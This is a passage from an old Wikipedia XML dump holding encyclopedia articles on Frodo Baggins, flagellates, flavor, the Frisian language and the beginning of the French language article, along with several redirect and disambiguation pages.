In the [[German language|German]] translation he is called ''Frodo Beutlin'', in [[Spanish language|Spanish]] ''Frodo Bolsón'', in [[French language|French]] ''Frodon Sacquet'', in [[Norwegian_language|Norwegian]] ''Frodo Lommelun'', in [[Danish language|Danish]] ''Frodo Sækker'', in [[Faroese language|Faroese]] ''Fróði Pjøkin'', in [[Finnish_language|Finnish]] ''Frodo Reppuli'', in [[Swedish language|Swedish]] Frodo Bagger, in [[Dutch (language)|Dutch]] ''Frodo Balings'', and in [[Japanese language|Japanese]] ''Baginsu Furodo''. In one of three [[Polish language|Polish]] translations he is called ''Frodo Bagosz'', but he keeps his original name in the other two.

==Physical appearance==
A thorough physical description of Frodo in Tolkien's works is lacking, however Gandalf describes him to Barliman Butterbur as a Hobbit that was &quot;A stout little fellow with red cheeks&quot; and &quot;taller than some and fairer than most, and he has a cleft in his chin: perky chap with a bright eye&quot;.

==Portrayal in adaptations==
[[Image:Bakshi_FrodoSam.jpg|left|thumb|Frodo (and Sam and Gandalf's hand), from the 1978 cartoon adaptation of ''[[The Lord of the Rings (1978 film)|The Lord of the Rings]]''.]]
[[Image:1980Frodo.jpg|right|thumb|Frodo keeps the Ring, from the 1980 cartoon adaptation of ''[[The Return of the King (1980 film)|The Return of the King]]''.]]
In [[Ralph Bakshi]]'s [[1978 in film|1978]] [[The Lord of the Rings (1978 film)|animated version]] of ''The Lord of the Rings'', Frodo was voiced by [[Christopher Guard]].  [[Billy Barty]] was the model for Frodo, as well as Bilbo and Sam, in the live-action recordings Bakshi used for [[rotoscope|rotoscoping]].  

In the [[1980 in film|1980]] [[Rankin/Bass]] animated version of ''[[The Return of the King (1980 film)|The Return of the King]]'', made for television, the character was voiced by [[Orson Bean]], who had previously played Bilbo in the same company's adaptation of ''[[The Hobbit (1977 film)|The Hobbit]]''.

In the [[1981]] [[BBC]] [[radio]] [[The Lord of the Rings (1981 radio series)|serial of ''The Lord of the Rings'']], Frodo is played by [[Ian Holm]], who later played Bilbo in [[Peter Jackson]]'s [[The Lord of the Rings film trilogy|film adaptation of ''The Lord of the Rings'' trilogy]].  

In those films — ''[[The Lord of the Rings: The Fellowship of the Ring (film)|The Lord of the Rings: The Fellowship of the Ring]]'' ([[2001 in film|2001]]), ''[[The Lord of the Rings: The Two Towers (film)|The Lord of the Rings: The Two Towers]]'' ([[2002 in film|2002]]) and ''[[The Lord of the Rings: The Return of the King (film)|The Lord of the Rings: The Return of the King]]'' ([[2003 in film|2003]]) — Frodo is played by [[United States|American]] [[actor]] [[Elijah Wood]].  

In these films, Frodo is portrayed as being much younger than his book counterpart.  The primary reason for this is that the 17-year gap between Bilbo's farewell party and Gandalf's return to Hobbiton is considerably shortened. The film viewer is never directly told Frodo's age.  However, since Bilbo's 111th birthday was also Frodo's 33rd in the book (but not elaborated in the film), readers in the audience will most likely assume that he is 33. Even if Frodo was 50 at the start of his quest, as in the book, the casting of the young Wood would not be surprising as it may be at first glance, since Hobbits age somewhat slower than Men. They reach full maturity at 33, so they would be equal to humans in their mid–twenties. Physically and psychologically &quot;teenage&quot; hobbits, such as Pippin, would actually be in their twenties.  Also, the Ring inhibits physical aging when its bearer is mortal.

== The Line of Frodo ==

&lt;code&gt;
                                      [[Balbo Baggins]]
                                    = [[Berylla Boffin]]
        _____________________________________|____________________________________
        |                |               |                 |                     |
      Mungo            Pansy           Ponto             Largo                  Lily
 = Laura Grubb  = Fastolph Bolger  = Mimosa Bunce   = Tanta Hornblower   = Togo Goodbody
        |_______________________________________            |
        |          |         |        |        |            |
      Bungo      Belba     Longo    Linda    Bingo        Fosco
 = Belladonna = Rudigar = Camellia = Bodo  = Chica   = Ruby Bolger
      Took      Bolger   Sackville Proudfoot Chubb          |___________________
        |                    |                 |            |        |         | 
      [[Bilbo]]        Otho Sackville-Baggins    Falco         Dora    Drogo      Dudo
                   = Lobelia Bracegirdle     Chubb-             = Primula   = Tulip
                             |               Baggins            Brandybuck  Longhole
                             |                 |                     |         |
                           Lotho             Poppy                 Frodo     Daisy
                                      = Filibert Bolger                = Griffo Boffin
&lt;/code&gt;

== Birthday observances ==
Some Tolkien fans celebrate [[September 22]]nd as [[Hobbit Day]], in honor of both Bilbo's and Frodo's birthdays.

==External links==
* [http://www.lotrlibrary.com/agesofarda/beyondgreyhavens.asp Beyond the Grey Havens: Lord of the Rings Fanatics Library]

{{start box}}
{{succession box | title=Bearer of the [[Great Ring]] | years= 3001 [[Third Age]] &amp;ndash; 3019 TA| before=[[Bilbo Baggins]]| after=[[Sam Gamgee]]}}
{{succession box | title=Bearer of the [[Great Ring]] | years= 3019 TA| before=[[Sam Gamgee]] | after=[[Smeagol]]}}
{{end box}}

{{Fellowship}}

[[Category:Middle-earth Hobbits|Baggins, Frodo]]

[[bg:Фродо Бегинс]]
[[es:Frodo Bolsón]]
[[eo:Frodo BAGGINS]]
[[fr:Frodon Sacquet]]
[[it:Frodo Baggins]]
[[he:פרודו בגינס]]
[[nl:Frodo Balings]]
[[ja:フロド・バギンズ]]
[[no:Frodo Lommelun]]
[[pl:Frodo Baggins]]
[[pt:Frodo Baggins]]
[[sl:Frodo Bisagin]]
[[fi:Frodo Reppuli]]
[[sv:Frodo Bagger]]
[[th:โฟรโด แบ๊กกิ้นส์]]
[[zh:佛罗多·巴金斯]]</text>
    </revision>
  </page>
  <page>
    <title>Flagellate</title>
    <id>10585</id>
    <revision>
      <id>42095816</id>
      <timestamp>2006-03-03T20:21:05Z</timestamp>
      <contributor>
        <username>Gdr</username>
        <id>55814</id>
      </contributor>
      <comment>add Haeckel picture</comment>
      <text xml:space="preserve">[[Image:Haeckel Flagellata.jpg|thumb|&quot;Flagellata&quot; from [[Ernst Haeckel]]'s ''Artforms of Nature'', 1904]]
[[Image:Giardia lamblia.jpg|thumb|Parasitic [[excavate]] (''Giardia lamblia'')]]
[[Image:Chlamydomonas (10000x).jpg|thumb|[[Green alga]] (''Chlamydomonas'')]]
'''Flagellates''' are [[cell (biology)|cell]]s with one or more whip-like organelles called [[flagellum|flagella]].  Some cells in [[animal]]s may be flagellate, for instance the [[sperm cell]]s of most phyla.  Higher [[plant]]s and [[fungus|fungi]] do not produce flagellate cells, but the closely related [[green alga]]e and [[chytrid]]s do.  Many [[protist]]s take the form of single-celled flagellates.  They are found in most lines of [[eukaryote]]s, and it is likely that all surviving eukaryotes evolved from them.

== Form and behavior ==

Eukaryotic flagella are supported by [[microtubule]]s in a characteristic arrangement, with nine fused pairs surrounding two central singlets.  These arise from a basal body or kinetosome, with microtubule roots that are an important part of the cell's structure.  In some, for instance, they support a [[cytostome]] or mouth, where food is ingested.  The flagella often support hairs, called mastigonemes, or contain rods.  Their ultrastructure plays an important role in classifying eukaryotes.

In protists and microscopic animals, flagella are generally used for propulsion.  They may also be used to create a current that brings in food.  In most eukaryotes, one or more flagella are located at or near the anterior of the cell.  Often there is one directed forwards and one trailing behind.  Among animals, fungi, and Choanozoa, which make up a group called the [[opisthokont]]s, there is a single posterior flagellum.

== Groups of flagellates ==

Originally the flagellate protozoa were treated as a single class of phylum, the Mastigophora.  This was divided into the Phytomastigina or phytoflagellates, which have [[chloroplast]]s or are closely related to such forms, and the Zoomastigina or zooflagellates, which do not.  Most phytoflagellates were given a separate classification by botanists, treating them in several divisions of algae.

This scheme has generally been abandoned or is retained only for convenience.  However, the relationships among the flagellates are still mostly unknown, and their higher classification is confused.  Some argue that the Linnaean ranks are not appropriate for such a diverse set of organisms.

Phytoflagellates are found in most groups of [[alga]]e.  Both the [[green alga]]e and [[heterokont]]s include a variety of flagellates in addition to non-motile and multicellular forms.  The [[dinoflagellate]]s, [[cryptomonad]]s, [[haptophyte]]s, and [[euglenid]]s are almost entirely single-celled flagellates.

Many of the other flagellates make up what are called the [[excavate]] taxa.  These include the euglenids and a number of important parasites, such as [[trypanosome]]s and ''[[Giardia]]''.  The excavates generally show similarities in the structure of their flagella and typically have a cytostome.  However, they may be a [[paraphyletic]] group, and in particular may have been ancestral to most or all other eukaryotes.

Other notable groups including flagellates are the [[Opisthokont|Choanozoa]], [[Cercozoa]], [[alveolate]]s (including dinoflagellates), [[ebriid]]s, and [[Apusozoa]].

[[Category:Protista]]
[[Category:Flagellates|*]]

[[da:Flagellat]]
[[de:Flagellaten]]
[[fr:Flagellés]]
[[no:Flagellater]]
[[sv:Flagellater]]</text>
    </revision>
  </page>
  <page>
    <title>Feature requests</title>
    <id>10586</id>
    <revision>
      <id>39213693</id>
      <timestamp>2006-02-11T15:33:50Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>Robot: Fixing double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Wikipedia:Bug report]]</text>
    </revision>
  </page>
  <page>
    <title>Film Techniques</title>
    <id>10587</id>
    <revision>
      <id>15908389</id>
      <timestamp>2004-04-13T15:11:27Z</timestamp>
      <contributor>
        <username>SimonP</username>
        <id>1591</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[List of film techniques]]</text>
    </revision>
  </page>
  <page>
    <title>Function</title>
    <id>10589</id>
    <revision>
      <id>37817703</id>
      <timestamp>2006-02-02T08:22:40Z</timestamp>
      <contributor>
        <username>Manop</username>
        <id>292857</id>
      </contributor>
      <minor />
      <comment>th</comment>
      <text xml:space="preserve">{{wiktionary}}

The word '''function''' may mean:
*In common parlance, a [[role]] of a component in an assembly, or of an element in a systemic aggregate (such as a person within a group).
*In [[mathematics]] and most [[science|scientific]] and [[technology|technical]] fields, an abstract entity that associates every element (input, argument) of a certain set of numbers or other objects to a corresponding element (output, result) in some other set: see '''[[function (mathematics)]]'''.
*In [[computer science]], depending on the context and  [[programming language]]:
**A mathematical function, as above.
**Any [[subroutine]] or procedure.
**A [[subroutine]] that returns a value.
**A [[subroutine]] which has no [[side-effect (computer science)|side-effects]]; see '''[[functional programming]]'''.
**A '''[[function object]]''', a concept of [[object-oriented programming]].
*In some scientific or technical contexts, a [[determinism|deterministic]] relation between two quantities or phenomena, e.g. by definition, by design, or by a natural [[causality|cause-and-effect connection]].
*In [[language]] studies, the '''[[grammatical function]]''' of a word or phrase in a sentence.
*In [[sociology]], the focus of '''[[functionalism (sociology)|functionalism]]''': see '''[[social function]]'''.
*In [[philosophy]], a [[norm (philosophy)|normative]] relation of [[object (philosophy)|object]]s to their use or [[causality|consequences]]; see  '''[[function (philosophy)]]'''.
*In music, the role ([[tonic (music)|tonic]], [[dominant (music)|dominant]], etc.) of a [[note]] in a [[chord (music)|chord]]: see '''[[diatonic functionality]]'''.

==See also==

* [[Functionary]], someone who carries out a particular role within an organisation; a close synonym for official

{{disambig}}

[[ca:Funció]]
[[de:Funktion]]
[[es:Función]]
[[fr:Fonction]]
[[it:Funzione]]
[[lt:Funkcija]]
[[nl:Functie]]
[[ja:関数]]
[[pl:Funkcja]]
[[pt:Função (desambiguação)]]
[[ru:Функция]]
[[sv:Funktion]]
[[th:ฟังก์ชัน]]
[[uk:Функція]]
[[zh:函数 (消歧义)]]</text>
    </revision>
  </page>
  <page>
    <title>Federal Republic of Germany</title>
    <id>10590</id>
    <revision>
      <id>15908391</id>
      <timestamp>2005-05-28T20:49:09Z</timestamp>
      <contributor>
        <username>Ahoerstemeier</username>
        <id>7580</id>
      </contributor>
      <comment>rv to redirect - the territorital extend change in 1990, but it is still the same political entity</comment>
      <text xml:space="preserve">#REDIRECT [[Germany]]</text>
    </revision>
  </page>
  <page>
    <title>Flavor</title>
    <id>10591</id>
    <revision>
      <id>40824297</id>
      <timestamp>2006-02-23T06:22:55Z</timestamp>
      <contributor>
        <username>Daniellanceway</username>
        <id>972072</id>
      </contributor>
      <minor />
      <comment>added link to flavorist</comment>
      <text xml:space="preserve">:''This article is about flavor, the [[Sense|sensory]] impression. There is another article on [[Flavour (particle physics)]] for the particle property.''

'''Flavor''' ([[American English|AmE]]) or '''flavour''' ([[Commonwealth English|CwE]]) is the sensory impression of a [[food]] or other [[substance]].  It is determined by the three chemical senses of [[taste]], [[olfaction]] (smell), and the so-called [[Trigeminal nerve|trigeminal senses]], which detect chemical [[Irritation|irritants]] in the [[mouth]] and [[throat]]. The [[taste]] of many foods is often altered with flavorings.

Flavorings can be either [[natural]] or artificial, and they are added to many foods made in a [[factory]]. There are also so-called ''nature-identical'' flavorings, which are the [[chemical compound|chemical]] equivalent of natural flavors, only chemically synthesised rather than being extracted from the original source.

To begin producing artificial flavors, manufacturers must first find out the molecular structure of the compound that produces the desired flavor. To do this, the volatile substance that produces the natural flavor must first be extracted from the source substance. The methods of extraction can involve boiling, leeching, or using force to squeeze it out. This concentrated extract is then passed through a [[Chromatography|chromatograph]], either in liquid or gaseous form. This will provide the requisite information about how the molecules are structured that are needed to produce the taste. The compound can then be artificially mass-produced for the market, although it is often difficult to produce an exact match to the original flavor.

Many of the compounds used to produce artificial flavor belong to a chemical category of [[esters]]. The list of known flavoring agents includes hundreds of molecular compounds, and the flavor chemist ([[flavorist]]) can often mix these together to produce many of the common flavors. Food manufacturers are often reluctant informing consumers about the source from where the flavor is obtained and whether it has been produced with the incorporation of substances such as animal by-products [[glycerin]], [[gelatin]] the like and the use of alcohol in the flavors. [[Muslims]], Orthodox [[Jews]] and [[Hindus]] adhere to religious laws, and [[vegans]] to personal morals, that restrict the use of animal by-products and alcohol in foods unless subject to overseeing and inspection by their respective religious authority or less-strict or circumstantial moral belief.

{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot; style=&quot;margin-left:10%;&quot;
!Chemical
!Odour
|-
|[[Isoamyl acetate]]
|[[Banana]]
|-
|[[Cinnamic aldehyde]]
|[[Cinnamon]]
|-
|Ethyl propionate
|[[Fruit]]y
|-
|[[Limonene]]
|[[Orange (fruit)|Orange]]
|-
|Ethyl-(E,Z)-2,4-decadienoate
|[[Pear]]
|-
|[[Allyl hexanoate]]
|[[Pineapple]]
|-
|[[Methyl salicylate]]
|[[Wintergreen]]
|}

[[Flavor enhancer]]s are also used to augment the taste of foods.

The compounds used to produce artificial flavors are almost identical to those that occur naturally, and a natural origin for a substance does not necessarily imply that it is safe to consume.  In fact, artificial flavors are considered somewhat safer to consume than natural flavors.  Natural flavors may contain toxins from their sources while artificial flavors are typically more pure and are required to undergo more testing before being sold for consumption.

==Legal definition (U.S.)==
According to the U.S. Code of Federal Regulations, a natural flavor is &quot;the essential oil, oleoresin, essence or extractive, protein hydrolysate, distillate, or any product of roasting, heating or enzymolysis, which contains the flavoring constituents derived from a spice, fruit or fruit juice, vegetable or vegetable juice, edible yeast, herb, bark, bud, root, leaf or any other edible portions of a plant, meat, seafood, poultry, eggs, dairy products, or fermentation products thereof, whose primary function in food is flavoring rather than nutritional.&quot; [http://frwebgate1.access.gpo.gov/cgi-bin/waisgate.cgi?WAISdocID=230673388281+1+0+0&amp;WAISaction=retrieve]  An artificial flavor is one that does not meet the specifications listed above.

== See also ==
{{Wiktionary}}
* [[Aroma compound]]
* [[Cooking]]
* [[Seasoning]]
* [[Flavor text]]
* [[Flavonoid]]
* [[Food additive]]
* [[Preservative]]
* [[Monosodium glutamate]], commonly known as MSG
* [[E number]]
* [[Flavonoid]]
* [[Fragrance oil]]

==External links==
*[http://www.monell.org/ Monell Chemical Senses Center]
*[http://www.fantastic-flavour.com/ Fantastic Flavours commercial site]
*[http://www.fks.com/flavors/tech/Science%20of%20Flavor%20Creation.asp The Science in artificial flavor creation]
*[http://science.howstuffworks.com/question391.htm How Stuff Works &quot;How do artificial flavors work?&quot;]
*[http://www.fantastic-flavor.com/ What's in Flavors &quot;Flavor creation and science&quot;]
*[http://www.rense.com/general7/whyy.htm Why McDonald's Fries Taste So Good] An extract from the book ''[[Fast Food Nation]]''.
[[fr:Goût]] [[simple:Flavor]]

{{food-stub}}
[[Category:Food science]]</text>
    </revision>
  </page>
  <page>
    <title>FielDs</title>
    <id>10593</id>
    <revision>
      <id>15908394</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Field]]
</text>
    </revision>
  </page>
  <page>
    <title>FrisianLanguage</title>
    <id>10594</id>
    <revision>
      <id>15908395</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Frisian language]]
</text>
    </revision>
  </page>
  <page>
    <title>Film Theory</title>
    <id>10595</id>
    <revision>
      <id>15908396</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Film theory]]
</text>
    </revision>
  </page>
  <page>
    <title>Frisian language</title>
    <id>10596</id>
    <revision>
      <id>41602207</id>
      <timestamp>2006-02-28T12:40:30Z</timestamp>
      <contributor>
        <username>ML</username>
        <id>297412</id>
      </contributor>
      <comment>denmark removed until its frisian speakers are mentioned on article or cited other sources</comment>
      <text xml:space="preserve">:''This page covers the Frisian language or languages, as spoken in the North of The Netherlands and Germany. For other uses, see [[Frisian language (disambiguation)]].''
{{Infobox Language
|name=Frisian
|nativename=Frysk, Fräisk, Frasch
|familycolor=Indo-European
|states=[[Netherlands]], [[Germany]]
|region=[[West Europe]], [[North Europe]].
|speakers=360,000–750,000 (''approximate figure including all variants'')
|fam2=[[Germanic languages|Germanic]]
|fam3=[[West Germanic languages|West]]
|fam4=[[Anglo-Frisian languages|Anglo-Frisian]]
|nation=[[Netherlands]] (One of the official languages in [[Friesland]])
|iso1=fy|iso2=fry
|lc1=fry|ld1=Frisian (generic)|ll1=none
|lc2=frr|ld2=Northern Frisian|ll2=North Frisian language
|lc3=fri|ld3=Western Frisian|ll3=West Frisian language
|lc4=stq|ld4=Saterfriesisch|ll4=Saterland Frisian language}}

'''Frisian''' is a [[Germanic language|Germanic]] language, or group of closely related languages, spoken by around half a million members of an [[ethnic group]] living on the southern fringes of the [[North Sea]] in the [[Netherlands]] and [[Germany]].  The ancient Frisians figured prominently in North European history. They were especially noted as traders and raiders during the [[Viking Age]]. After [[Scots language|Scots]], Frisian is the closest related living language to [[English language|English]] (not including English dialects and pidgins).

== Division==
There are three varieties of Frisian: [[West Frisian language|West Lauwers Frisian]], [[Saterland Frisian language|Saterland Frisian]], and [[North Frisian language|North Frisian]]. Some linguists consider these three varieties, despite their mutual unintelligibility, to be dialects of one single Frisian language, while others consider them to be three separate languages, as do their speakers. Of the three, especially the North Frisian language is further segmented into several strongly diverse dialects. [[Stadsfries]] is a [[mixed language]]. 
&lt;!-- commented out this paragraph until it's completed
=== West Lauwers Frisian ===
--&gt;
=== Speakers ===
Most Frisian speakers live in the [[Netherlands]], primarily in the province of [[Fryslân]], since 1997 officially using its Frisian name, where the number of native speakers is about 350,000. An increasing number of Dutch native speakers in the province of Friesland are able to speak the language. In [[Germany]], there are about 2,000 speakers of Frisian in the [[Saterland]] region of [[Lower Saxony]]; the Saterland's marshy fringe areas have long protected Frisian speech there from pressure by the surrounding [[Low German]] and [[German language|standard German]].

In the [[Nordfriesland]] (Northern Frisia) region of the German province of [[Schleswig-Holstein]], there are 10,000 Frisian speakers. While many of these Frisians live on the mainland, most are found on the islands, notably [[Sylt]], [[Föhr]], [[Amrum]], and [[Heligoland]]. The local corresponding Frisian dialects are still in use.

=== Status ===
Frisian is officially recognised and protected as a [[minority language]] in Germany and is one of the two official languages in the Dutch province of Fryslân. [[ISO 639]] codes 'fy' and 'fry' were assigned to the collective Frisian languages.

==History ==
===Old Frisian===
{{main|Old Frisian}}
In the early [[Middle Ages]] the Frisian lands stretched from the area around [[Bruges]], in what is now [[Belgium]], to the river [[Weser]], in northern [[Germany]]. At that time, the Frisian language was spoken along the entire southern [[North Sea]] coast. Today this region is sometimes referred to as Great Frisia or Frisia Magna, and many of the areas within it still treasure their Frisian heritage, even though in most places the Frisian languages have been lost.

Originally, Frisian was the language closest related to [[English language|English]], but after at least five hundred years of being subjected to the influence of [[Dutch language|Dutch]], modern Frisian bears a greater similarity to Dutch than to English; one must also take into account the centuries-long drift of English away from Frisian. Thus the modern languages are unintelligible to each other today, partly due to the marks which [[Low Franconian languages]] (such as Dutch) and [[Low German]] have left on Frisian, and partly due to the vast influence some languages (in particular [[French language|French]]) have had on English throughout the centuries.

[[Old Frisian]], however, did bear a striking similarity to [[Old English language|Old English]]. This similarity was reinforced in the late [[Middle Ages]] by the [[Ingaevones|Ingaevonic]] sound shift, which affected Frisian and English, but only affected the other [[West Germanic language|West Germanic]] varieties slightly, if at all. Historically, both English and Frisian are marked by the suppression of the Germanic nasal in a word like ''us'' (''ús''), ''soft'' (''sêft'') or ''goose'' (''goes''): see [[Anglo-Frisian nasal spirant law]]. Also, when followed by some vowels, the Germanic ''k'' softened to a ''ch'' sound; for example, the Frisian for ''cheese'' and ''church'' is ''tsiis'' and ''tsjerke'', whereas in [[Dutch language|Dutch]] it is ''kaas'' and ''kerk''.

One rhyme demonstrates the palpable similarity between Frisian and English: &quot;Bread, butter and green cheese is good English and good Friese,&quot; which is pronounced more or less the same in both languages (Frisian: &quot;Brea, bûter, en griene tsiis is goed Ingelsk en goed Frysk.&quot;)

One major difference between Old Frisian and modern Frisian is that in the Old Frisian period (c.1150-c.1550) [[Declension|grammatical cases]] still occurred. Some of the texts that are preserved from this period are from the twelfth or thirteenth, but most are from the fourteenth and fifteenth centuries. Generally, all these texts are restricted to legalistic writings. Although the earliest definite written examples of Frisian are from approximately the [[9th century]], there are a few examples of [[runic]] inscriptions from the region which are probably older and possibly in the Frisian language. These runic writings however usually do not amount to more than single- or few-word inscriptions, and cannot be said to constitute [[literature]] as such. The transition from the Old Frisian to the Middle Frisian period (c.1550-c.1820) in the sixteenth century, is based on the fairly abrupt halt in the use of Frisian as a written language.

===Middle Frisian===
{{main|Middle Frisian}}
Up until the fifteenth century Frisian was a language widely spoken and written, but from 1500 onwards it became an almost exclusively oral language, mainly used in rural areas. This was in part due to the occupation of its stronghold, the Dutch province of [[Friesland]] (Fryslân), in 1498, by Duke Albert of Saxony, who replaced Frisian as the language of government with Dutch.

Afterwards this practice was continued under the [[Habsburg]] rulers of the Netherlands (the German Emperor [[Charles V, Holy Roman Emperor|Charles V]] and his son, the Spanish King [[Philip II of Spain|Philip II]]), and even when the Netherlands became independent, in 1585, Frisian did not regain its former status. The reason for this was the rise of [[Holland]] as the dominant part of the Netherlands, and its language, Dutch, as the dominant language in judicial, administrative and religious affairs.

In this period the great Frisian poet [[Gysbert Japiks]] (1603-66), a schoolteacher and [[Cantus|cantor]] from the city of [[Bolsward]] (Boalsert), who largely fathered modern Frisian literature and orthography, was really an exception to the rule.

His example was not followed until the nineteenth century, when entire generations of Frisian authors and poets appeared. This coincided with the introduction of the so-called newer breaking system, a prominent grammatical feature in almost all West Frisian dialects, with the notable exception of ''Súdwesthoeksk''. Therefore, the Modern Frisian period is considered to have begun at this point in time, around 1820.

== Family tree ==
Each of the languages has several dialects. Between some, the differences are such that they rarely hamper understanding; only the number of speakers justifies the denominator of 'dialect'. In other cases, even neighbouring dialects may hardly be mutually intelligible. 

*[[West Frisian language]], spoken in the Netherlands.
** [[Clay Frisian]] (Klaaifrysk)
** [[Wood Frisian]] (Wâldfrysk)
*** [[Noardhoeks]]
** [[Súdhoeks|South Frisian]] (Súdhoeks)
** [[Southwest Frisian]] (Súdwesthoeksk)
** [[Schiermonnikoogs]]
** [[Hindeloopers]]
** [[Aasters]]
** [[Westers]]
*[[East Frisian language]], spoken in Lower Saxony, Germany.
** [[Saterland Frisian language]]
** Several extinct dialects
*[[North Frisian language]], spoken in Schleswig-Holstein, Germany.
** Mainland dialects
***Dialect of [[Mooring]]
***Dialect of [[Hoorning]]
***Dialect of [[Wiedingharde]]
***Dialect of [[Tideland Islands]]
** Island dialects
***Dialect of [[Sylt]]
***Dialect of [[Föhr]]
***Dialect of [[Amrum]]
** [[Heligoland|Heligolandic]]

==See also==
*[[Frisia]]
*[[Frisian Islands]]
*[[Frisians]]
*[[Common phrases in different languages]]

==External links==
&lt;div class=&quot;noprint&quot; style=&quot;clear: right; border: solid #aaa 1px; margin: 0 0 1em 1em; font-size: 90%; background: #f9f9f9; width: 250px; padding: 4px; text-align: left; float: right;&quot;&gt;
&lt;div style=&quot;float: left;&quot;&gt;[[Image:Wikipedia-logo.png|50px|none|Wikipedia]]&lt;/div&gt;
&lt;div style=&quot;margin-left: 70px;&quot;&gt;'''''[[:fy:|West Frisian language edition]]''''' of [[Wikipedia]]&lt;/div&gt;
&lt;/div&gt;

*[http://www.fa.knaw.nl/ Frisian academy for people, language and culture]
*[http://www.ferring-stiftung.org/ The Frisian foundation]
*[http://lamar.colostate.edu/~eric13/frisian.shtml Frisian language link compilation]
*[http://www.websters-online-dictionary.org/definition/Frisian-english/ Frisian-English dictionary]
*[http://members.chello.nl/e.hoekstra8/108Stannert.pdf Frisian: Standardization in Progress of a Language in Decay]

[[Category:Frisian language| ]]
[[Category:Languages of the Netherlands]]
[[Category:Minority languages]]

[[af:Fries (taal)]]
[[als:Friesisch]]
[[ast:Frisón]]
[[ca:Frisó]]
[[cs:Fríština]]
[[cy:Ffriseg]]
[[da:Frisisk (sprog)]]
[[de:Friesische Sprache]]
[[es:Idioma frisón]]
[[eo:Frisa lingvo]]
[[fr:Frison (langue)]]
[[fy:Frysk]]
[[he:פריזית]]
[[id:Bahasa Frisia]]
[[is:Frísneska]]
[[it:Lingua frisona]]
[[kw:Frisek]]
[[li:Fries]]
[[nl:Fries (taal)]]
[[ja:フリジア語]]
[[nn:Frisisk språk]]
[[pl:Język fryzyjski]]
[[pt:frisão]]
[[ro:Limba friziană]]
[[ru:Фризский язык]]
[[fi:Friisin kieli]]
[[sv:Frisiska]]
[[zh:弗里西语]]</text>
    </revision>
  </page>
  <page>
    <title>French language</title>
    <id>10597</id>
    <revision>
      <id>42048931</id>
      <timestamp>2006-03-03T13:11:18Z</timestamp>
      <contributor>
        <ip>66.45.5.247</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox Language
|name=French
|nativename=français
|familycolor=Indo-European
|pronunciation=fʁɑ̃sɛ
|states=[[France]], including French Overseas [[French Overseas Departments|Departments]], [[French Overseas Communities|Communities]] and [[French Overseas Territories|Territories]]; [[Canada]] especially in [[Quebec]] and [[New Brunswick]]; [[Belgium]]; [[Switzerland]]; [[Luxembourg]]; [[Monaco]]; [[Algeria]]; many [[West Africa|Western]] and [[Central Africa]]n nations such as [[Ivory Coast]], [[Republic of the Congo]], [[Niger]], [[Senegal]] and [[Tunisia]]; [[Haiti]]; [[Mauritius]]; some Asian countries such as [[Laos]] and [[Vietnam]]; and the [[United States|U.S.]] states of [[Louisiana]], [[Maine]], and [[New Hampshire]].
|region=[[Africa]], [[Europe]], [[Americas]], [[Pacific]]
|speakers=87 million native, 190 million total [http://www.populationdata.net/palmareslangues.html]
|rank= 15th native (5th total)&lt;!--See the talk page for support of these figures. Please give credible sources for any increase.--&gt;
|fam1=[[Indo-European languages|Indo-European]]
|fam2=[[Italic languages|Italic]]
|fam3=[[Romance languages|Romance]]
|fam4=[[Italo-Western languages|Italo-Western]]
|fam5=Western
|fam6=[[Gallo-Iberian languages|Gallo-Iberian]]
|fam7=[[Gallo-Romance languages|Gallo-Romance]]
|fam8=[[Gallo-Rhaetian languages|Gallo-Rhaetian]]
|fam9=[[Oïl languages|Oïl]]
|nation=29 countries
|agency=[[Académie française]] (France) [[Office québécois de la langue française]] (Quebec)
|iso1=fr|iso2b=fre|iso2t=fra|iso3=fra|map=[[Image:Map-Francophone World.png|center|300px]]&lt;br&gt;&lt;center&gt;&lt;small&gt;Map of the Francophone world&lt;/center&gt;&lt;/small&gt;}}

'''French''' (''français'') is the third largest of the [[Romance languages]] in terms of number of native speakers, after [[Spanish language|Spanish]] and [[Portuguese language|Portuguese]], being spoken by about 87 [[million]] people as a [[First language|mother tongue]], and altogether by some 182 million people, which includes second-language speakers who use French for daily communication. Moreover, an extra 82 million people are presently learning French throughout the world. [http://www.diplomatie.gouv.fr/en/france-priorities_1/francophony-french-language_1113/francophony_1932/an-expanding-community_1323.html] &lt;!--See the talk page for support of these figures. Please give credible sources for any increase.--&gt;

French is thus the 15th most spoken language in the world by number of native speakers, and 5th in terms of daily speakers. It is an [[official language]] in 29 countries.

French is also an official or administrative language in several communities and international [[organisation]]s (such as the [[European Union]], [[International Olympic Committee]], [[World Trade Organization]], [[FINA]], [[FIA]], [[World Anti-Doping Agency]], [[United Nations]], [[African Union]], [[International Court of Justice]], [[Internation Secretariat for Water]], [[International Association of Political Science]], [[International Bureau of Weigths and Measurements]], [[European Broadcasting Union]], [[Universal Postal Union]], [[Interpol]] and so on) and one of the two ''working'' languages of the [[United Nations]].

== History ==
===The Roman invasion of Gaul===
The French language is a [[Romance languages|Romance language]], meaning that it is descended from [[Latin]].  Before the Roman invasion of what is modern-day France by [[Julius Caesar|Julius Cæsar]] ([[58]]&amp;ndash;[[52]] [[Anno Domini|BC]]), France was inhabited largely by a [[Celts|Celtic]] people that the Romans referred to as [[Gaul]]s, although there were also other linguistic/ethnic groups in France at this time, such as the [[Iberians]] in southern France and [[Spain]], the [[Ligurians]] on the [[Mediterranean Sea|Mediterranean]] coast, [[Greeks|Greek]] colonies such as [[Massalia]] (i.e. present-day [[Marseille]]), [[Phoenicians|Phoenician]] outposts, and the [[Vascons]] on the Spanish/French border.

